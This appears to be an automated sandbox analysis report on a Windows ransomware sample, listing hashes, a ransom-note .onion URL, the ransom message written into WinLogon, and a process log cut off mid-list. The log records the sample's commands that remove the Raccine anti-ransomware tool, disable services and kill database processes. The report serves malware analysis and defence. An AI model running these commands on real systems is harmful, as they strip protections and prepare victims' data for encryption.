Analysis
-
max time kernel
300s -
max time network
308s -
platform
windows7_x64 -
resource
win7-en-20210920 -
submitted
02-11-2021 15:42
Static task
static1
Behavioral task
behavioral1
Sample
44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe
Resource
win7-en-20210920
Behavioral task
behavioral2
Sample
44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe
Resource
win10-en-20211014
General
-
Target
44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe
-
Size
149KB
-
MD5
4e68455c60c1aa59b0c28808d6445e50
-
SHA1
7f58174891abc9b764d5cdd010078f107c1febb5
-
SHA256
44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b
-
SHA512
3c0b92f3b567e4652f39d1bd71bfe630933af00a6d39cb0911e30915d34a00dac345d5042877237d849375855f22ead11d8c583495f3823b45cfbaef87ef5f69
Malware Config
Extracted
C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txt
http://spookuhvfyxzph54ikjfwf2mwmxt572krpom7reyayrmxbkizbvkpaid.onion/chat.php?track=NMU7PHR3V5
Extracted
C:\Users\Admin\Desktop\RESTORE_FILES_INFO.txt
http://spookuhvfyxzph54ikjfwf2mwmxt572krpom7reyayrmxbkizbvkpaid.onion/chat.php?track=NMU7PHR3V5
Extracted
C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta
http://spookuhvfyxzph54ikjfwf2mwmxt572krpom7reyayrmxbkizbvkpaid.onion/chat.php?track=NMU7PHR3V5
Signatures
-
Modifies extensions of user files 10 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File opened for modification C:\Users\Admin\Pictures\SuspendConvert.tiff.NMU7PHR3V5 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe File opened for modification C:\Users\Admin\Pictures\OpenAdd.tiff 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe File opened for modification C:\Users\Admin\Pictures\OpenAdd.tiff.NMU7PHR3V5 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe File renamed C:\Users\Admin\Pictures\PingBlock.png => C:\Users\Admin\Pictures\PingBlock.png.NMU7PHR3V5 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe File opened for modification C:\Users\Admin\Pictures\PingBlock.png.NMU7PHR3V5 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe File renamed C:\Users\Admin\Pictures\SuspendConvert.tiff => C:\Users\Admin\Pictures\SuspendConvert.tiff.NMU7PHR3V5 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe File renamed C:\Users\Admin\Pictures\OpenAdd.tiff => C:\Users\Admin\Pictures\OpenAdd.tiff.NMU7PHR3V5 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe File renamed C:\Users\Admin\Pictures\OpenNew.png => C:\Users\Admin\Pictures\OpenNew.png.NMU7PHR3V5 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe File opened for modification C:\Users\Admin\Pictures\OpenNew.png.NMU7PHR3V5 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe File opened for modification C:\Users\Admin\Pictures\SuspendConvert.tiff 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe -
Deletes itself 1 IoCs
pid Process 956 cmd.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\reload1.lnk 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe -
Modifies WinLogon 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "YOUR COMPANY WAS HACKED AND COMPROMISED!!!" 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\nWe has DOWNLOADED of your PRIVATE SENSITIVE Data!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Kills process with taskkill 48 IoCs
pid Process 1856 taskkill.exe 1188 taskkill.exe 1812 taskkill.exe 1216 taskkill.exe 1008 taskkill.exe 1288 taskkill.exe 1008 taskkill.exe 536 taskkill.exe 1652 taskkill.exe 1504 taskkill.exe 1300 taskkill.exe 1764 taskkill.exe 1624 taskkill.exe 628 taskkill.exe 1796 taskkill.exe 1488 taskkill.exe 616 taskkill.exe 1148 taskkill.exe 936 taskkill.exe 1716 taskkill.exe 1660 taskkill.exe 992 taskkill.exe 1880 taskkill.exe 640 taskkill.exe 956 taskkill.exe 1676 taskkill.exe 1104 taskkill.exe 616 taskkill.exe 1640 taskkill.exe 1852 taskkill.exe 1484 taskkill.exe 1792 taskkill.exe 1644 taskkill.exe 1272 taskkill.exe 1864 taskkill.exe 288 taskkill.exe 1084 taskkill.exe 1168 taskkill.exe 1132 taskkill.exe 1076 taskkill.exe 1592 taskkill.exe 1204 taskkill.exe 1808 taskkill.exe 1620 taskkill.exe 1940 taskkill.exe 1448 taskkill.exe 1776 taskkill.exe 904 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1676 reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1664 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe -
Suspicious use of AdjustPrivilegeToken 48 IoCs
description pid Process Token: SeDebugPrivilege 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe Token: SeDebugPrivilege 1808 taskkill.exe Token: SeDebugPrivilege 1640 taskkill.exe Token: SeDebugPrivilege 1620 taskkill.exe Token: SeDebugPrivilege 1652 taskkill.exe Token: SeDebugPrivilege 1504 taskkill.exe Token: SeDebugPrivilege 1300 taskkill.exe Token: SeDebugPrivilege 1104 taskkill.exe Token: SeDebugPrivilege 1188 taskkill.exe Token: SeDebugPrivilege 992 taskkill.exe Token: SeDebugPrivilege 1812 taskkill.exe Token: SeDebugPrivilege 288 taskkill.exe Token: SeDebugPrivilege 1764 taskkill.exe Token: SeDebugPrivilege 616 taskkill.exe Token: SeDebugPrivilege 1084 taskkill.exe Token: SeDebugPrivilege 1940 taskkill.exe Token: SeDebugPrivilege 1852 taskkill.exe Token: SeDebugPrivilege 1624 taskkill.exe Token: SeDebugPrivilege 1880 taskkill.exe Token: SeDebugPrivilege 1288 taskkill.exe Token: SeDebugPrivilege 1008 taskkill.exe Token: SeDebugPrivilege 640 taskkill.exe Token: SeDebugPrivilege 536 taskkill.exe Token: SeDebugPrivilege 1644 taskkill.exe Token: SeDebugPrivilege 1168 taskkill.exe Token: SeDebugPrivilege 1448 taskkill.exe Token: SeDebugPrivilege 1484 taskkill.exe Token: SeDebugPrivilege 1216 taskkill.exe Token: SeDebugPrivilege 1776 taskkill.exe Token: SeDebugPrivilege 1076 powershell.exe Token: SeDebugPrivilege 1488 taskkill.exe Token: SeDebugPrivilege 1132 taskkill.exe Token: SeDebugPrivilege 1592 taskkill.exe Token: SeDebugPrivilege 1792 taskkill.exe Token: SeDebugPrivilege 1204 taskkill.exe Token: SeDebugPrivilege 904 taskkill.exe Token: SeDebugPrivilege 956 taskkill.exe Token: SeDebugPrivilege 616 taskkill.exe Token: SeDebugPrivilege 1148 taskkill.exe Token: SeDebugPrivilege 1008 taskkill.exe Token: SeDebugPrivilege 1676 taskkill.exe Token: SeDebugPrivilege 936 taskkill.exe Token: SeDebugPrivilege 1716 taskkill.exe Token: SeDebugPrivilege 1864 taskkill.exe Token: SeDebugPrivilege 628 taskkill.exe Token: SeDebugPrivilege 1796 taskkill.exe Token: SeDebugPrivilege 1660 taskkill.exe Token: SeDebugPrivilege 1076 powershell.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe -
Suspicious use of SendNotifyMessage 3 IoCs
pid Process 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1988 wrote to memory of 1808 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 30 PID 1988 wrote to memory of 1808 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 30 PID 1988 wrote to memory of 1808 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 30 PID 1988 wrote to memory of 1808 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 30 PID 1988 wrote to memory of 1296 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 32 PID 1988 wrote to memory of 1296 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 32 PID 1988 wrote to memory of 1296 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 32 PID 1988 wrote to memory of 1296 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 32 PID 1988 wrote to memory of 1676 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 34 PID 1988 wrote to memory of 1676 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 34 PID 1988 wrote to memory of 1676 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 34 PID 1988 wrote to memory of 1676 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 34 PID 1988 wrote to memory of 1672 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 36 PID 1988 wrote to memory of 1672 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 36 PID 1988 wrote to memory of 1672 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 36 PID 1988 wrote to memory of 1672 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 36 PID 1988 wrote to memory of 1932 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 38 PID 1988 wrote to memory of 1932 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 38 PID 1988 wrote to memory of 1932 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 38 PID 1988 wrote to memory of 1932 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 38 PID 1988 wrote to memory of 1552 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 40 PID 1988 wrote to memory of 1552 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 40 PID 1988 wrote to memory of 1552 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 40 PID 1988 wrote to memory of 1552 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 40 PID 1988 wrote to memory of 1660 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 41 PID 1988 wrote to memory of 1660 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 41 PID 1988 wrote to memory of 1660 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 41 PID 1988 wrote to memory of 1660 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 41 PID 1988 wrote to memory of 1848 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 44 PID 1988 wrote to memory of 1848 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 44 PID 1988 wrote to memory of 1848 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 44 PID 1988 wrote to memory of 1848 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 44 PID 1988 wrote to memory of 1080 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 46 PID 1988 wrote to memory of 1080 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 46 PID 1988 wrote to memory of 1080 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 46 PID 1988 wrote to memory of 1080 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 46 PID 1988 wrote to memory of 1892 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 51 PID 1988 wrote to memory of 1892 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 51 PID 1988 wrote to memory of 1892 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 51 PID 1988 wrote to memory of 1892 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 51 PID 1988 wrote to memory of 1148 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 49 PID 1988 wrote to memory of 1148 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 49 PID 1988 wrote to memory of 1148 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 49 PID 1988 wrote to memory of 1148 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 49 PID 1988 wrote to memory of 1836 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 52 PID 1988 wrote to memory of 1836 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 52 PID 1988 wrote to memory of 1836 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 52 PID 1988 wrote to memory of 1836 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 52 PID 1988 wrote to memory of 1640 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 54 PID 1988 wrote to memory of 1640 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 54 PID 1988 wrote to memory of 1640 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 54 PID 1988 wrote to memory of 1640 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 54 PID 1988 wrote to memory of 1856 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 55 PID 1988 wrote to memory of 1856 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 55 PID 1988 wrote to memory of 1856 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 55 PID 1988 wrote to memory of 1856 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 55 PID 1988 wrote to memory of 1620 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 57 PID 1988 wrote to memory of 1620 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 57 PID 1988 wrote to memory of 1620 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 57 PID 1988 wrote to memory of 1620 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 57 PID 1988 wrote to memory of 1652 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 61 PID 1988 wrote to memory of 1652 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 61 PID 1988 wrote to memory of 1652 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 61 PID 1988 wrote to memory of 1652 1988 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe 61 -
System policy modification 1 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "YOUR COMPANY WAS HACKED AND COMPROMISED!!!" 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\nWe has DOWNLOADED of your PRIVATE SENSITIVE Data!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" 44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe"C:\Users\Admin\AppData\Local\Temp\44edca2989cfa4ba819191b70323fe5f83e300dd0c2e66abb42f1f9ca831f29b.exe"1⤵
- Modifies extensions of user files
- Drops startup file
- Modifies WinLogon
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1988 -
C:\Windows\SysWOW64\taskkill.exe"taskkill" /F /IM RaccineSettings.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1808
-
-
C:\Windows\SysWOW64\reg.exe"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F2⤵PID:1296
-
-
C:\Windows\SysWOW64\reg.exe"reg" delete HKCU\Software\Raccine /F2⤵
- Modifies registry key
PID:1676
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /DELETE /TN "Raccine Rules Updater" /F2⤵PID:1672
-
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config Dnscache start= auto2⤵PID:1932
-
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLTELEMETRY start= disabled2⤵PID:1552
-
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config FDResPub start= auto2⤵PID:1660
-
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled2⤵PID:1848
-
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config SSDPSRV start= auto2⤵PID:1080
-
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLWriter start= disabled2⤵PID:1148
-
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config SstpSvc start= disabled2⤵PID:1892
-
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config upnphost start= auto2⤵PID:1836
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1640
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
PID:1856
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM synctime.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1620
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1652
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mysqld.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1504
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM Ntrtscan.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1300
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1104
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM isqlplussvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1188
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqbcoreservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:992
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM firefoxconfig.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:288
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM encsvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1812
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM onenote.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1764
-
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM excel.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
